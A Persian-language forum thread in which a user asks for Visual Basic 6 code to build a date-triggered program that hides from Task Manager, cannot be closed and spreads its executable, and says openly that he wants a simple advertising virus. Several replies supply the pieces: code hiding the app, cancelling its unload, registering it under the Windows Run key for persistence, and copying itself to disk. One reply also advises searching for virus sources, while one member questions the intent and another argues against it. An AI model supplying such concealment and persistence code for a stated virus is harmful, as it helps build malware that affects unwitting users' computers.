اجرای خودکار برنامه در یک زمان خاص

[iman_yakoza]

سلام
من یه برنامه می خوام که تاریخ و ساعت رو از ما بگیره بعد طبق او تاریخ و ساعتی که داده ایم تایمر ما فعال شه
در ضمن می خوام برنامه در Task Manager پنهان باشه
مثل ویروس کسی نتونه برنامه رو ببنده
کسی می تونه کمک کنه

[Mr.pRoGraMmer]

سلام
بیا اینو واست نوشتم.

کد:

Private Sub Form_Load()
App.TaskVisible = False
End Sub

Private Sub Form_Unload(Cancel As Integer)
Cancel = -1
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
strTemp = Date$
strTemp = Mid(strTemp, 4, 2)
a = strTemp
If (a) = 7 Then End
End Sub

سورس زیر تاریخ زمان میگیره یعنی روز 7 ماه شروع به فعالیت میکنه
باید تو یه تایمر باشه که چک کنه

[iman_yakoza]

میشه ساعت هم بهش اضافه کنی مثلا 7 روز دیگه ساعت 5:00 صبح

---

یه سری برنامه ها که وقتی سیستم رو ریستارت می کنی و میاد بالا برنامه با ورود به ویندوز اجرا میشه
کدی هست که همچین کاری رو انجام داد

[babyy]

سلام
با اجازه amintatu1990 ،
این واسه ساعت

کد:

Dim f() As String
    f = Split(Time$, ":")
    If f(0) = "5" Then
        ' ...
        ' f(1) = min
        ' f(2) = sec
    End If

فقط یه چیزی ؛ این توابع به وابسته به ساعت و تاریخ کامپیوتر هستند ؛

یه سری برنامه ها که وقتی سیستم رو ریستارت می کنی و میاد بالا برنامه با ورود به ویندوز اجرا میشه
کدی هست که همچین کاری رو انجام داد

میخوایین ویروس بنویسید ؟؟
تو همین فورم هم بگردی میتونی پیدا کنی کدشو.
http://forum.iranled.com/showthread.php?tid=13327
اینجا هم پست دادین ! همونجا جوابتونو میگیرین.

[Fireninja]

سلام
من یه برنامه می خوام که تاریخ و ساعت رو از ما بگیره بعد طبق او تاریخ و ساعتی که داده ایم تایمر ما فعال شه
در ضمن می خوام برنامه در Task Manager پنهان باشه
مثل ویروس کسی نتونه برنامه رو ببنده
کسی می تونه کمک کنه

قدیما ، یه تشکر می کردن از کسی که به آدم یه چیزی یاد بده!

[iman_yakoza]

الانم کردم

---

amintatu1990 قرار بود واسه ما چه کار کنی ؟

---

اره میخوام یه ویروس ساده برای تبلیغات بسازم

---

خوب حالا یه کد واسه کپی کردن فایل تو کل درایو ها کامپیوتر می خوام

[iman_yakoza]

باشه
خوب حالا یه کد واسه کپی کردن فایل exe ( همین exe پروژه ویروس )تو کل درایو ها کامپیوتر می خوام

---

البته من میخواستم یه کاری کنم که ویندوز هم عوض کرد دوباره ویروس فعال شه انگار زیادی سخت میشه
خوب می خوام وقتی exe رو باز کرد یه نسخه از برنامه تو هر ادرسی که خودم تعیین می کنم کپی بشه مثلا C:\Documents and Settings\All Users\Start Menu\Programs\Startup
اینجا کپی شه

[Fireninja]

البته ، هنوز تعدادی خیلی کمی هستن که شاید بتونن چنین کاری بکنن ، این کار خیلی سخته!
ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ
تو Startup کپی کردن خیلی ضایعه است! بهتره که توی رجیستری ثبتش کنی!
راستی ، سورس های زیادی هست(ویروس)! یه جستجو کن ، سورس های خیلی خوبی هستن جواب بیشتر سئوالات الان و آینده تو میده!

[Mr.pRoGraMmer]

واسه قرار گیری برنامه در start up باید از کد زیر استفاده کنید.

کد:

Private Sub Form_Load()
   Dim hregkey As Long
   Dim subkey As String
   Dim stringbuffer As String

   subkey = "Software\Microsoft\Windows\CurrentVersion\Run"

   retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, hregkey)
   If retval <> 0 Then
      Debug.Print "Can't open the subkey"
      Exit Sub
   End If
   stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar
   retval = RegSetValueEx(hregkey, "My App", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer))

   RegCloseKey hregkey
End Sub

بعد تو ماجول هم کدهای زیر ار کپی کن

کد:

Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal _
   hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long

Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Public Declare Function RegSetValueEx Lib "advapi32.dll" _
   Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
   As String, ByVal Reserved As Long, ByVal dwType As Long, _
   lpData As Any, ByVal cbData As Long) As Long

Public Const HKEY_CURRENT_USER = &H80000001
Public Const KEY_WRITE = &H20006
Public Const REG_SZ = 1

برنامه شما دیگه با هر بار ویندوز لود میشه
واسه کپی کردن برنامه هم

کد:

Set fso = CreateObject("scripting.filesystemobject")
myfile = App.Path & "\" & App.EXEName & ".exe"
FileCopy myfile, "C:\amin.exe"

[VisualBasic6Love]

اره میخوام یه ویروس ساده برای تبلیغات بسازم

---

سلام دوست عزيز!
ميخواي يه ويروس ساده براي تبليغات بنويسي؟

چرا از راه ويروس ميخواي تبليغات كني! من بهت پيشنهاد ميكنم كه اين كارو نكني اگه ميخواي تبليغات موثر بكني بهت پيشنهاد ميكنم كه يه برنامه كاربردي بدردبخور بنويس و تو اون برنامه براي خودت تبليغ كن كه هم موثره و هم دردسر نداره شما با اين كار تبليغاتت خيلي جالب نميشه چون كلي فحش و نفرين به دنبال داره و تازه كسي ديگه به فكر تبليغت نيست!

حالا بگو ببينم اين ويروس در كل قراره چيكار كنه يعني از اون اول بگو كه اين برنامه چه كارهايي رو بايد انجام بده؟

[1120]

البته ، هنوز تعدادی خیلی کمی هستن که شاید بتونن چنین کاری بکنن ، این کار خیلی سخته!

چی ؟